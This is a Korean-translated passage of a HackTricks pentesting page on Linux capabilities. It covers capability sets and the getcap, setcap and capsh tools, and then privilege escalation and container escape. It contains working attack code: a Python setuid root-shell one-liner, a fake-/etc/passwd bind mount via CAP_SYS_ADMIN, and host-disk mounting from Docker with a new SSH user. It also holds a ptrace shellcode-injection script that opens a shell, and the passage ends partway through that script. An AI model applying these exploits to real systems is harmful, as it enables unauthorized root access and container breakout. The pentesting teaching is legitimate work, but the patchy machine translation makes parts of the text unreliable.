Linux Capabilities

Support HackTricks

​​​​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.\

Linux Capabilities

Linux capabilities는 루트 권한을 더 작고 구별된 단위로 나누어, 프로세스가 권한의 하위 집합을 가질 수 있도록 합니다. 이는 불필요하게 전체 루트 권한을 부여하지 않음으로써 위험을 최소화합니다.

문제:

  • 일반 사용자는 제한된 권한을 가지고 있어, 루트 접근이 필요한 네트워크 소켓을 여는 작업에 영향을 미칩니다.

권한 집합:

  1. 상속된 (CapInh):

  • 목적: 부모 프로세스에서 전달된 권한을 결정합니다.

  • 기능: 새로운 프로세스가 생성될 때, 이 집합에서 부모로부터 권한을 상속받습니다. 프로세스 생성 간 특정 권한을 유지하는 데 유용합니다.

  • 제한: 프로세스는 부모가 가지지 않은 권한을 얻을 수 없습니다.

  1. 유효한 (CapEff):

  • 목적: 프로세스가 현재 사용하는 실제 권한을 나타냅니다.

  • 기능: 다양한 작업에 대한 권한을 부여하기 위해 커널이 확인하는 권한 집합입니다. 파일의 경우, 이 집합은 파일의 허용된 권한이 유효한지 여부를 나타내는 플래그가 될 수 있습니다.

  • 의의: 유효한 집합은 즉각적인 권한 확인에 중요하며, 프로세스가 사용할 수 있는 활성 권한 집합으로 작용합니다.

  1. 허용된 (CapPrm):

  • 목적: 프로세스가 가질 수 있는 최대 권한 집합을 정의합니다.

  • 기능: 프로세스는 허용된 집합에서 유효한 집합으로 권한을 상승시킬 수 있으며, 해당 권한을 사용할 수 있게 됩니다. 또한 허용된 집합에서 권한을 제거할 수도 있습니다.

  • 경계: 프로세스가 가질 수 있는 권한의 상한선으로 작용하여, 프로세스가 미리 정의된 권한 범위를 초과하지 않도록 보장합니다.

  1. 경계 (CapBnd):

  • 목적: 프로세스가 생애 주기 동안 획득할 수 있는 권한에 한계를 둡니다.

  • 기능: 프로세스가 상속 가능하거나 허용된 집합에서 특정 권한을 가지고 있더라도, 경계 집합에 포함되지 않으면 해당 권한을 획득할 수 없습니다.

  • 사용 사례: 이 집합은 프로세스의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적인 보안 계층을 추가합니다.

  1. 환경 (CapAmb):

  • 목적: 특정 권한이 execve 시스템 호출을 통해 유지될 수 있도록 하여, 일반적으로 프로세스의 권한이 완전히 초기화되는 결과를 초래합니다.

  • 기능: 관련 파일 권한이 없는 비-SUID 프로그램이 특정 권한을 유지할 수 있도록 보장합니다.

  • 제한: 이 집합의 권한은 상속 가능 및 허용된 집합의 제약을 받으며, 프로세스의 허용된 권한을 초과하지 않도록 보장합니다.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

더 많은 정보는 다음을 확인하세요:

프로세스 및 바이너리 기능

프로세스 기능

특정 프로세스의 기능을 보려면 /proc 디렉토리의 status 파일을 사용하세요. 더 많은 세부정보를 제공하므로 Linux 기능과 관련된 정보로만 제한합시다. 모든 실행 중인 프로세스에 대한 기능 정보는 스레드별로 유지되며, 파일 시스템의 바이너리에 대해서는 확장 속성에 저장됩니다.

/usr/include/linux/capability.h에서 정의된 기능을 찾을 수 있습니다.

현재 프로세스의 기능은 cat /proc/self/status 또는 capsh --print를 사용하여 확인할 수 있으며, 다른 사용자의 기능은 /proc/<pid>/status에서 확인할 수 있습니다.

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

이 명령은 대부분의 시스템에서 5줄을 반환해야 합니다.

  • CapInh = 상속된 권한

  • CapPrm = 허용된 권한

  • CapEff = 유효한 권한

  • CapBnd = 경계 집합

  • CapAmb = 환경 권한 집합

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

이 16진수 숫자는 의미가 없습니다. capsh 유틸리티를 사용하여 이를 권한 이름으로 디코딩할 수 있습니다.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

이제 ping에서 사용되는 capabilities를 확인해 봅시다:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

그 방법도 효과적이지만, 더 쉽고 다른 방법이 있습니다. 실행 중인 프로세스의 능력을 보려면, getpcaps 도구를 사용한 다음 프로세스 ID (PID)를 입력하면 됩니다. 프로세스 ID 목록을 제공할 수도 있습니다.

getpcaps 1234

여기에서 tcpdump의 기능을 확인해 보겠습니다. 이진 파일에 충분한 기능(cap_net_admincap_net_raw)을 부여하여 네트워크를 스니핑합니다 (tcpdump는 프로세스 9562에서 실행 중입니다):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

주어진 능력은 이진 파일의 능력을 얻는 두 가지 방법의 결과와 일치합니다. getpcaps 도구는 capget() 시스템 호출을 사용하여 특정 스레드에 대한 사용 가능한 능력을 쿼리합니다. 이 시스템 호출은 더 많은 정보를 얻기 위해 PID만 제공하면 됩니다.

이진 파일의 능력

이진 파일은 실행 중에 사용할 수 있는 능력을 가질 수 있습니다. 예를 들어, cap_net_raw 능력을 가진 ping 이진 파일을 찾는 것은 매우 일반적입니다:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

You can search binaries with capabilities using: 당신은 능력을 가진 바이너리 검색을 사용할 수 있습니다:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

CAP_NET_RAW 권한을 _ping_에서 제거하면 ping 유틸리티가 더 이상 작동하지 않아야 합니다.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Besides the output of capsh itself, the tcpdump command itself should also raise an error.

/bin/bash: /usr/sbin/tcpdump: 허용되지 않는 작업

The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.

Remove Capabilities

You can remove capabilities of a binary with

setcap -r </path/to/binary>

User Capabilities

명백히 사용자에게도 권한을 부여할 수 있습니다. 이는 아마도 사용자가 실행하는 모든 프로세스가 사용자의 권한을 사용할 수 있음을 의미합니다. 이것, 이것이것을 기반으로 특정 권한을 사용자에게 부여하기 위해 몇 가지 파일을 구성해야 하지만, 각 사용자에게 권한을 부여하는 파일은 /etc/security/capability.conf입니다. 파일 예:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

환경 능력

다음 프로그램을 컴파일하면 능력을 제공하는 환경 내에서 bash 셸을 생성할 수 있습니다.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

컴파일된 환경 바이너리에 의해 실행된 bash 내부에서 새로운 능력을 관찰할 수 있습니다(일반 사용자는 "현재" 섹션에 어떤 능력도 가지지 않습니다).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

당신은 허용된 세트와 상속 가능한 세트 모두에 존재하는 능력만 추가할 수 있습니다.

능력 인식/능력 무시 이진 파일

능력 인식 이진 파일은 환경에서 제공하는 새로운 능력을 사용하지 않지만, 능력 무시 이진 파일은 이를 거부하지 않기 때문에 사용할 것입니다. 이는 능력을 이진 파일에 부여하는 특별한 환경 내에서 능력 무시 이진 파일을 취약하게 만듭니다.

서비스 능력

기본적으로 루트로 실행되는 서비스는 모든 능력이 할당됩니다, 그리고 경우에 따라 이는 위험할 수 있습니다. 따라서, 서비스 구성 파일은 원하는 능력서비스를 실행해야 하는 사용자지정할 수 있게 하여 불필요한 권한으로 서비스를 실행하지 않도록 합니다:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

기본적으로 Docker는 컨테이너에 몇 가지 기능을 할당합니다. 이러한 기능이 무엇인지 확인하는 것은 매우 쉽습니다:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

Privesc/Container Escape

Capabilities는 특권 작업을 수행한 후 자신의 프로세스를 제한하고자 할 때 유용합니다 (예: chroot를 설정하고 소켓에 바인딩한 후). 그러나 악의적인 명령이나 인수를 전달하여 root로 실행될 수 있도록 악용될 수 있습니다.

setcap을 사용하여 프로그램에 capabilities를 강제로 설정할 수 있으며, getcap을 사용하여 이를 조회할 수 있습니다:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep는 능력을 추가하고 있음을 의미합니다 (“-”는 제거합니다) 효과적이고 허용된 것으로.

시스템이나 폴더에서 능력을 가진 프로그램을 식별하려면:

getcap -r / 2>/dev/null

Exploitation example

다음 예제에서 이진 파일 /usr/bin/python2.6가 권한 상승에 취약한 것으로 발견되었습니다:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

"빈" 능력의 특별한 경우

문서에서: 프로그램 파일에 빈 능력 집합을 할당할 수 있으며, 따라서 실행하는 프로세스의 유효 및 저장된 set-user-ID를 0으로 변경하지만 해당 프로세스에 능력을 부여하지 않는 set-user-ID-root 프로그램을 생성할 수 있습니다. 간단히 말해, 다음 조건을 만족하는 바이너리가 있다면:

  1. root에 의해 소유되지 않음

  2. SUID/SGID 비트가 설정되어 있지 않음

  3. 빈 능력 집합이 설정되어 있음 (예: getcap myelfmyelf =ep를 반환)

그렇다면 해당 바이너리는 root로 실행됩니다.

CAP_SYS_ADMIN

**CAP_SYS_ADMIN**은 매우 강력한 Linux 능력으로, 장치 마운트 또는 커널 기능 조작과 같은 광범위한 관리 권한으로 인해 거의 root 수준에 해당합니다. 전체 시스템을 시뮬레이션하는 컨테이너에 필수적이지만, CAP_SYS_ADMIN은 권한 상승 및 시스템 손상의 가능성으로 인해 특히 컨테이너화된 환경에서 상당한 보안 문제를 야기합니다. 따라서 이 능력의 사용은 엄격한 보안 평가와 신중한 관리가 필요하며, 최소 권한 원칙을 준수하고 공격 표면을 최소화하기 위해 애플리케이션 전용 컨테이너에서 이 능력을 제거하는 것이 강력히 권장됩니다.

바이너리 예제

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

파이썬을 사용하여 실제 passwd 파일 위에 수정된 passwd 파일을 마운트할 수 있습니다:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

마지막으로 수정된 passwd 파일을 /etc/passwdmount합니다:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

그리고 당신은 비밀번호 "password"를 사용하여 su as root로 전환할 수 있습니다.

환경 예시 (Docker 탈출)

다음 명령어를 사용하여 도커 컨테이너 내에서 활성화된 능력을 확인할 수 있습니다:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_ADMIN capability is enabled.

  • Mount

이것은 도커 컨테이너가 호스트 디스크를 마운트하고 자유롭게 접근할 수 있도록 허용합니다:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • 전체 접근

이전 방법에서는 도커 호스트 디스크에 접근할 수 있었습니다. 호스트가 ssh 서버를 실행 중인 경우, 도커 호스트 디스크 내에 사용자를 생성하고 SSH를 통해 접근할 수 있습니다:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

이것은 호스트에서 실행 중인 일부 프로세스에 쉘코드를 주입하여 컨테이너를 탈출할 수 있음을 의미합니다. 호스트에서 실행 중인 프로세스에 접근하려면 컨테이너를 최소한 --pid=host 옵션으로 실행해야 합니다.

**CAP_SYS_PTRACE**는 ptrace(2)가 제공하는 디버깅 및 시스템 호출 추적 기능과 process_vm_readv(2), process_vm_writev(2)와 같은 교차 메모리 첨부 호출을 사용할 수 있는 능력을 부여합니다. 진단 및 모니터링 목적으로 강력하지만, ptrace(2)에 대한 seccomp 필터와 같은 제한 조치 없이 CAP_SYS_PTRACE가 활성화되면 시스템 보안을 심각하게 저해할 수 있습니다. 특히, 이는 seccomp에 의해 부과된 다른 보안 제한을 우회하는 데 악용될 수 있으며, 이와 같은 개념 증명(PoC)에서 입증되었습니다.

바이너리 예제 (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.